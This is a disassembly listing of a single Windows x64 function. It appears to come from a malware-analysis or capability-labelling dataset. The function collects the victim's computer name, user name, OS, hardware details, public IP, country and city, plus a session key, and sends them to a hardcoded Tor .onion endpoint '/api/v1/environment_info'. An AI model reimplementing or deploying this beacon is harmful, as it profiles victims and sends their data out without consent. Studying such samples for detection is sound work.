Function at 0x14001fd50
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x520]
sub rsp, 0x620
mov rax, qword [0x140045028]
xor rax, rsp
mov qword [rbp + 0x510], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x3d0], xmm0
movdqa xmm1, xmmword [0x140039ca0]
movdqa xmmword [rbp + 0x3e0], xmm1
mov byte [rbp + 0x3d0], 0
movups xmmword [rbp + 0x3f0], xmm0
movdqa xmmword [rbp + 0x400], xmm1
mov byte [rbp + 0x3f0], 0
movups xmmword [rbp + 0x410], xmm0
movdqa xmmword [rbp + 0x420], xmm1
mov byte [rbp + 0x410], 0
movups xmmword [rbp + 0x430], xmm0
movdqa xmmword [rbp + 0x440], xmm1
mov byte [rbp + 0x430], 0
movups xmmword [rbp + 0x450], xmm0
movdqa xmmword [rbp + 0x460], xmm1
mov byte [rbp + 0x450], 0
movups xmmword [rbp + 0x478], xmm0
xor edi, edi
mov qword [rbp + 0x488], rdi
mov qword [rbp + 0x490], 0xf
mov byte [rbp + 0x478], dil
movups xmmword [rbp + 0x4a8], xmm0
mov qword [rbp + 0x4b8], rdi
mov qword [rbp + 0x4c0], 0xf
mov byte [rbp + 0x4a8], dil
movups xmmword [rbp + 0x4c8], xmm0
mov qword [rbp + 0x4d8], rdi
mov qword [rbp + 0x4e0], 0xf
mov byte [rbp + 0x4c8], dil
movups xmmword [rbp + 0x4e8], xmm0
mov qword [rbp + 0x4f8], rdi
mov qword [rbp + 0x500], 0xf
mov byte [rbp + 0x4e8], dil
lea rcx, [rbp + 0x3d0]
call fcn.14002cfe0
test al, al
jne 0x14001fecf
xorps xmm0, xmm0
movups xmmword [rbp + 0x360], xmm0
mov qword [rbp + 0x370], rdi
mov qword [rbp + 0x378], rdi
lea r8d, [rdi + 0x1e]
lea rdx, str.TorServer::SendEnvironmentInfo
lea rcx, [rbp + 0x360]
call fcn.1400027e0
lea rdx, str.Failed_to_get_computer_information
lea rcx, [rbp + 0x360]
call fcn.14001dc60
xor bl, bl
jmp 0x140020d6f
mov byte [rbp + 0x148], 0
xor eax, eax
mov qword [rbp + 0x150], rax
xor edx, edx
lea rcx, [rbp + 0x150]
call fcn.140008770
mov byte [rbp + 0x148], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x360], xmm0
mov ecx, 0x20
call fcn.14002eb30
mov rbx, rax
lea rax, [rbp + 0x350]
mov qword [rbp + 0x360], rax
mov qword [rbp + 0x368], rbx
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
mov r8d, 7
lea rdx, str.pc_name
mov rcx, rbx
call fcn.1400027e0
nop
mov qword [rbp + 0x150], rbx
mov qword [rbp + 0x158], rdi
lea rdx, [rbp + 0x3d0]
lea rcx, [rbp + 0x160]
call fcn.14000e300
mov qword [rbp + 0x170], rdi
lea rax, [rbp + 0x148]
mov qword [rbp + 0x360], rax
lea rax, [rbp + 0x178]
mov qword [rbp + 0x368], rax
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0x210]
call fcn.140007730
mov qword [rbp + 0x220], rdi
mov byte [rbp + 0x118], 0
xor eax, eax
mov qword [rbp + 0x120], rax
xor edx, edx
lea rcx, [rbp + 0x120]
call fcn.140008770
mov byte [rbp + 0x118], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x360], xmm0
mov ecx, 0x20
call fcn.14002eb30
mov rbx, rax
lea rax, [rbp + 0x350]
mov qword [rbp + 0x360], rax
mov qword [rbp + 0x368], rbx
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
mov r8d, 9
lea rdx, str.user_name
mov rcx, rbx
call fcn.1400027e0
nop
mov qword [rbp + 0x120], rbx
mov qword [rbp + 0x128], rdi
lea rdx, [rbp + 0x3f0]
lea rcx, [rbp + 0x130]
call fcn.14000e300
mov qword [rbp + 0x140], rdi
lea rax, [rbp + 0x118]
mov qword [rbp + 0x360], rax
lea rax, [rbp + 0x148]
mov qword [rbp + 0x368], rax
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0x228]
call fcn.140007730
mov qword [rbp + 0x238], rdi
mov byte [rbp + 0xe8], 0
xor eax, eax
mov qword [rbp + 0xf0], rax
xor edx, edx
lea rcx, [rbp + 0xf0]
call fcn.140008770
mov byte [rbp + 0xe8], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x360], xmm0
mov ecx, 0x20
call fcn.14002eb30
mov rbx, rax
lea rax, [rbp + 0x350]
mov qword [rbp + 0x360], rax
mov qword [rbp + 0x368], rbx
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
mov r8d, 0x13
lea rdx, str.operating_system_id
mov rcx, rbx
call fcn.1400027e0
nop
mov qword [rbp + 0xf0], rbx
mov qword [rbp + 0xf8], rdi
lea rdx, [rbp + 0x410]
lea rcx, [rbp + 0x100]
call fcn.14000e300
mov qword [rbp + 0x110], rdi
lea rax, [rbp + 0xe8]
mov qword [rbp + 0x360], rax
lea rax, [rbp + 0x118]
mov qword [rbp + 0x368], rax
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0x240]
call fcn.140007730
mov qword [rbp + 0x250], rdi
mov byte [rbp + 0xb8], 0
xor eax, eax
mov qword [rbp + 0xc0], rax
xor edx, edx
lea rcx, [rbp + 0xc0]
call fcn.140008770
mov byte [rbp + 0xb8], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x360], xmm0
mov ecx, 0x20
call fcn.14002eb30
mov rbx, rax
lea rax, [rbp + 0x350]
mov qword [rbp + 0x360], rax
mov qword [rbp + 0x368], rbx
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
mov r8d, 0x15
lea rdx, str.operating_system_name
mov rcx, rbx
call fcn.1400027e0
nop
mov qword [rbp + 0xc0], rbx
mov qword [rbp + 0xc8], rdi
lea rdx, [rbp + 0x430]
lea rcx, [rbp + 0xd0]
call fcn.14000e300
mov qword [rbp + 0xe0], rdi
lea rax, [rbp + 0xb8]
mov qword [rbp + 0x360], rax
lea rax, [rbp + 0xe8]
mov qword [rbp + 0x368], rax
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0x258]
call fcn.140007730
mov qword [rbp + 0x268], rdi
mov byte [rbp + 0x88], 0
xor eax, eax
mov qword [rbp + 0x90], rax
xor edx, edx
lea rcx, [rbp + 0x90]
call fcn.140008770
mov byte [rbp + 0x88], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x360], xmm0
mov ecx, 0x20
call fcn.14002eb30
mov rbx, rax
lea rax, [rbp + 0x350]
mov qword [rbp + 0x360], rax
mov qword [rbp + 0x368], rbx
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
mov r8d, 0xe
lea rdx, str.processor_name
mov rcx, rbx
call fcn.1400027e0
nop
mov qword [rbp + 0x90], rbx
mov qword [rbp + 0x98], rdi
lea rdx, [rbp + 0x450]
lea rcx, [rbp + 0xa0]
call fcn.14000e300
mov qword [rbp + 0xb0], rdi
lea rax, [rbp + 0x88]
mov qword [rbp + 0x360], rax
lea rax, [rbp + 0xb8]
mov qword [rbp + 0x368], rax
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0x270]
call fcn.140007730
mov qword [rbp + 0x280], rdi
mov byte [rbp + 0x390], 0
xor eax, eax
mov qword [rbp + 0x398], rax
xor edx, edx
lea rcx, [rbp + 0x398]
call fcn.140008770
mov byte [rbp + 0x390], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x360], xmm0
mov ecx, 0x20
call fcn.14002eb30
mov rbx, rax
lea rax, [rbp + 0x350]
mov qword [rbp + 0x360], rax
mov qword [rbp + 0x368], rbx
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
mov r8d, 0x14
lea rdx, str.processor_core_count
mov rcx, rbx
call fcn.1400027e0
nop
mov qword [rbp + 0x398], rbx
mov qword [rbp + 0x3a0], rdi
mov byte [rbp + 0x3a8], 0
xor eax, eax
mov qword [rbp + 0x3b0], rax
xor edx, edx
lea rcx, [rbp + 0x3b0]
call fcn.140008770
mov byte [rbp + 0x3a8], 6
mov eax, dword [rbp + 0x470]
mov qword [rbp + 0x3b0], rax
mov qword [rbp + 0x3b8], rdi
lea rax, [rbp + 0x390]
mov qword [rbp + 0x360], rax
lea rax, [rbp + 0x3c0]
mov qword [rbp + 0x368], rax
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0x288]
call fcn.140007730
mov qword [rbp + 0x298], rdi
mov byte [rbp + 0x58], 0
xor eax, eax
mov qword [rbp + 0x60], rax
xor edx, edx
lea rcx, [rbp + 0x60]
call fcn.140008770
mov byte [rbp + 0x58], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x360], xmm0
mov ecx, 0x20
call fcn.14002eb30
mov rbx, rax
lea rax, [rbp + 0x350]
mov qword [rbp + 0x360], rax
mov qword [rbp + 0x368], rbx
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
mov r8d, 8
lea rdx, str.gpu_name
mov rcx, rbx
call fcn.1400027e0
nop
mov qword [rbp + 0x60], rbx
mov qword [rbp + 0x68], rdi
lea rdx, [rbp + 0x478]
lea rcx, [rbp + 0x70]
call fcn.14000e300
mov qword [rbp + 0x80], rdi
lea rax, [rbp + 0x58]
mov qword [rbp + 0x360], rax
lea rax, [rbp + 0x88]
mov qword [rbp + 0x368], rax
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0x2a0]
call fcn.140007730
mov qword [rbp + 0x2b0], rdi
mov byte [rsp + 0x60], 0
xor eax, eax
mov qword [rsp + 0x68], rax
xor edx, edx
lea rcx, [rsp + 0x68]
call fcn.140008770
mov byte [rsp + 0x60], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x360], xmm0
mov ecx, 0x20
call fcn.14002eb30
mov rbx, rax
lea rax, [rbp + 0x350]
mov qword [rbp + 0x360], rax
mov qword [rbp + 0x368], rbx
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
mov r8d, 0xb
lea rdx, str.ram_size_gb
mov rcx, rbx
call fcn.1400027e0
nop
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], rdi
mov byte [rsp + 0x78], 0
xor eax, eax
mov qword [rbp - 0x80], rax
xor edx, edx
lea rcx, [rbp - 0x80]
call fcn.140008770
mov byte [rsp + 0x78], 6
mov eax, dword [rbp + 0x498]
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rdi
lea rax, [rsp + 0x60]
mov qword [rbp + 0x360], rax
lea rax, [rbp - 0x70]
mov qword [rbp + 0x368], rax
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0x2b8]
call fcn.140007730
mov qword [rbp + 0x2c8], rdi
mov byte [rbp - 0x70], 0
xor eax, eax
mov qword [rbp - 0x68], rax
xor edx, edx
lea rcx, [rbp - 0x68]
call fcn.140008770
mov byte [rbp - 0x70], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x360], xmm0
mov ecx, 0x20
call fcn.14002eb30
mov rbx, rax
lea rax, [rbp + 0x350]
mov qword [rbp + 0x360], rax
mov qword [rbp + 0x368], rbx
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
mov r8d, 0x12
lea rdx, str.display_size_width
mov rcx, rbx
call fcn.1400027e0
nop
mov qword [rbp - 0x68], rbx
mov qword [rbp - 0x60], rdi
mov byte [rbp - 0x58], 0
xor eax, eax
mov qword [rbp - 0x50], rax
xor edx, edx
lea rcx, [rbp - 0x50]
call fcn.140008770
mov byte [rbp - 0x58], 6
mov eax, dword [rbp + 0x49c]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdi
lea rax, [rbp - 0x70]
mov qword [rbp + 0x360], rax
lea rax, [rbp - 0x40]
mov qword [rbp + 0x368], rax
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0x2d0]
call fcn.140007730
mov qword [rbp + 0x2e0], rdi
mov byte [rsp + 0x30], 0
xor eax, eax
mov qword [rsp + 0x38], rax
xor edx, edx
lea rcx, [rsp + 0x38]
call fcn.140008770
mov byte [rsp + 0x30], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x360], xmm0
mov ecx, 0x20
call fcn.14002eb30
mov rbx, rax
lea rax, [rbp + 0x350]
mov qword [rbp + 0x360], rax
mov qword [rbp + 0x368], rbx
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
mov r8d, 0x13
lea rdx, str.display_size_height
mov rcx, rbx
call fcn.1400027e0
nop
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x40], rdi
mov byte [rsp + 0x48], 0
xor eax, eax
mov qword [rsp + 0x50], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.140008770
mov byte [rsp + 0x48], 6
mov eax, dword [rbp + 0x4a0]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rdi
lea rax, [rsp + 0x30]
mov qword [rbp + 0x360], rax
lea rax, [rsp + 0x60]
mov qword [rbp + 0x368], rax
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0x2e8]
call fcn.140007730
mov qword [rbp + 0x2f8], rdi
mov byte [rbp + 0x28], 0
xor eax, eax
mov qword [rbp + 0x30], rax
xor edx, edx
lea rcx, [rbp + 0x30]
call fcn.140008770
mov byte [rbp + 0x28], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x360], xmm0
mov ecx, 0x20
call fcn.14002eb30
mov rbx, rax
lea rax, [rbp + 0x350]
mov qword [rbp + 0x360], rax
mov qword [rbp + 0x368], rbx
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
mov r8d, 9
lea rdx, str.public_ip
mov rcx, rbx
call fcn.1400027e0
nop
mov qword [rbp + 0x30], rbx
mov qword [rbp + 0x38], rdi
lea rdx, [rbp + 0x4a8]
lea rcx, [rbp + 0x40]
call fcn.14000e300
mov qword [rbp + 0x50], rdi
lea rax, [rbp + 0x28]
mov qword [rbp + 0x360], rax
lea rax, [rbp + 0x58]
mov qword [rbp + 0x368], rax
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0x300]
call fcn.140007730
mov qword [rbp + 0x310], rdi
mov byte [rbp - 8], 0
xor eax, eax
mov qword [rbp], rax
xor edx, edx
lea rcx, [rbp]
call fcn.140008770
mov byte [rbp - 8], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x360], xmm0
mov ecx, 0x20
call fcn.14002eb30
mov rbx, rax
lea rax, [rbp + 0x350]
mov qword [rbp + 0x360], rax
mov qword [rbp + 0x368], rbx
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
mov r8d, 7
lea rdx, str.country
mov rcx, rbx
call fcn.1400027e0
nop
mov qword [rbp], rbx
mov qword [rbp + 8], rdi
lea rdx, [rbp + 0x4c8]
lea rcx, [rbp + 0x10]
call fcn.14000e300
mov qword [rbp + 0x20], rdi
lea rax, [rbp - 8]
mov qword [rbp + 0x360], rax
lea rax, [rbp + 0x28]
mov qword [rbp + 0x368], rax
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0x318]
call fcn.140007730
mov qword [rbp + 0x328], rdi
mov byte [rbp - 0x38], 0
xor eax, eax
mov qword [rbp - 0x30], rax
xor edx, edx
lea rcx, [rbp - 0x30]
call fcn.140008770
mov byte [rbp - 0x38], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x360], xmm0
mov ecx, 0x20
call fcn.14002eb30
mov rbx, rax
lea rax, [rbp + 0x350]
mov qword [rbp + 0x360], rax
mov qword [rbp + 0x368], rbx
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
mov r8d, 4
lea rdx, str.city
mov rcx, rbx
call fcn.1400027e0
nop
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], rdi
lea rdx, [rbp + 0x4e8]
lea rcx, [rbp - 0x20]
call fcn.14000e300
mov qword [rbp - 0x10], rdi
lea rax, [rbp - 0x38]
mov qword [rbp + 0x360], rax
lea rax, [rbp - 8]
mov qword [rbp + 0x368], rax
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0x330]
call fcn.140007730
mov qword [rbp + 0x340], rdi
lea rax, [rbp + 0x210]
mov qword [rbp + 0x380], rax
lea rax, [rbp + 0x348]
mov qword [rbp + 0x388], rax
lea rdx, [rbp + 0x380]
lea rcx, [rbp + 0x360]
call fcn.140007730
nop
lea r9, [0x140005b00]
mov edx, 0x18
lea r8d, [rdx - 0xb]
lea rcx, [rbp + 0x210]
call fcn.14002eb6c
nop
lea r9, [0x140005b00]
mov edx, 0x18
lea r8d, [rdx - 0x16]
lea rcx, [rbp - 0x38]
call fcn.14002eb6c
nop
lea r9, [0x140005b00]
mov edx, 0x18
lea r8d, [rdx - 0x16]
lea rcx, [rbp - 8]
call fcn.14002eb6c
nop
lea r9, [0x140005b00]
mov edx, 0x18
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x28]
call fcn.14002eb6c
nop
lea r9, [0x140005b00]
mov edx, 0x18
lea r8d, [rdx - 0x16]
lea rcx, [rsp + 0x30]
call fcn.14002eb6c
nop
lea r9, [0x140005b00]
mov edx, 0x18
lea r8d, [rdx - 0x16]
lea rcx, [rbp - 0x70]
call fcn.14002eb6c
nop
lea r9, [0x140005b00]
mov edx, 0x18
lea r8d, [rdx - 0x16]
lea rcx, [rsp + 0x60]
call fcn.14002eb6c
nop
lea r9, [0x140005b00]
mov edx, 0x18
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x58]
call fcn.14002eb6c
nop
lea r9, [0x140005b00]
mov edx, 0x18
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x390]
call fcn.14002eb6c
nop
lea r9, [0x140005b00]
mov edx, 0x18
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x88]
call fcn.14002eb6c
nop
lea r9, [0x140005b00]
mov edx, 0x18
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0xb8]
call fcn.14002eb6c
nop
lea r9, [0x140005b00]
mov edx, 0x18
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0xe8]
call fcn.14002eb6c
nop
lea r9, [0x140005b00]
mov edx, 0x18
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x118]
call fcn.14002eb6c
nop
lea r9, [0x140005b00]
mov edx, 0x18
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x148]
call fcn.14002eb6c
mov byte [rbp + 0x178], 0
xor eax, eax
mov qword [rbp + 0x180], rax
xor edx, edx
lea rcx, [rbp + 0x180]
call fcn.140008770
mov byte [rbp + 0x178], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x380], xmm0
mov ecx, 0x20
call fcn.14002eb30
lea rcx, [rbp + 0x350]
mov qword [rbp + 0x380], rcx
mov qword [rbp + 0x388], rax
lea rdx, str.session_key
mov rcx, rax
call fcn.140002490
lea rcx, [rbp + 0x380]
call fcn.140015e70
mov rbx, rax
lea rcx, [rbp + 0x380]
call fcn.14000b1a0
mov qword [rbp + 0x180], rbx
mov qword [rbp + 0x188], rdi
lea rdx, [0x140046ef0]
lea rcx, [rbp + 0x190]
call fcn.140009da0
nop
lea rax, [rbp + 0x178]
mov qword [rbp + 0x380], rax
lea rax, [rbp + 0x1a8]
mov qword [rbp + 0x388], rax
lea rdx, [rbp + 0x380]
lea rcx, [rbp + 0x1a8]
call fcn.1400070a0
nop
lea rdx, str.data
lea rcx, [rbp + 0x1d8]
call fcn.140022590
nop
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0x1f0]
call fcn.140022650
nop
lea rax, [rbp + 0x1d8]
mov qword [rbp + 0x380], rax
lea rax, [rbp + 0x208]
mov qword [rbp + 0x388], rax
lea rdx, [rbp + 0x380]
lea rcx, [rbp + 0x1c0]
call fcn.1400070a0
nop
lea rax, [rbp + 0x1a8]
mov qword [rbp + 0x380], rax
lea rax, [rbp + 0x1d8]
mov qword [rbp + 0x388], rax
lea rdx, [rbp + 0x380]
lea rcx, [rbp + 0x3c0]
call fcn.140007730
nop
lea r9, [0x140005b00]
mov edx, 0x18
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x1a8]
call fcn.14002eb6c
nop
lea r9, [0x140005b00]
mov edx, 0x18
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x1d8]
call fcn.14002eb6c
nop
lea r9, [0x140005b00]
mov edx, 0x18
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x178]
call fcn.14002eb6c
lea rcx, [rbp + 0x390]
call fcn.1400025f0
nop
lea rax, [rsp + 0x60]
mov qword [rbp - 0x40], rax
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x3c0]
call fcn.1400070d0
mov rbx, rax
lea rdx, str.http:__n34kr3z26f3jzp4ckmwuv5ipqyatumdxhgjgsmucc65jac56khdy5zqd.onion
lea rcx, [rsp + 0x30]
call fcn.140002490
nop
lea r8, str._api_v1_environment_info
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14001c7e0
nop
mov r9, rbx
lea r8, [rbp + 0x390]
mov rdx, rax
mov ecx, 1
call fcn.14001efa0
movzx ebx, al
lea rcx, [rsp + 0x30]
call fcn.140002430
lea rcx, [rsp + 0x30]
test bl, bl
jne 0x140020d1d
lea rdx, str.TorServer::SendEnvironmentInfo
call fcn.140002490
lea rdx, str.Failed_to_send_the_environment_info_request
mov rcx, rax
call fcn.14001dc60
jmp 0x140020d3a
lea rdx, str.TorServer::SendAPIInit
call fcn.140002490
lea rdx, str.Sent_the_environment_info_request
mov rcx, rax
call fcn.14001da20
mov bl, 1
lea rcx, [rbp + 0x390]
call fcn.140002430
nop
movzx edx, byte [rbp + 0x3c0]
lea rcx, [rbp + 0x3c8]
call fcn.140008770
nop
movzx edx, byte [rbp + 0x360]
lea rcx, [rbp + 0x368]
call fcn.140008770
nop
lea rcx, [rbp + 0x3d0]
call fcn.140020db0
movzx eax, bl
mov rcx, qword [rbp + 0x510]
xor rcx, rsp
call fcn.14002eb10
lea r11, [rsp + 0x620]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret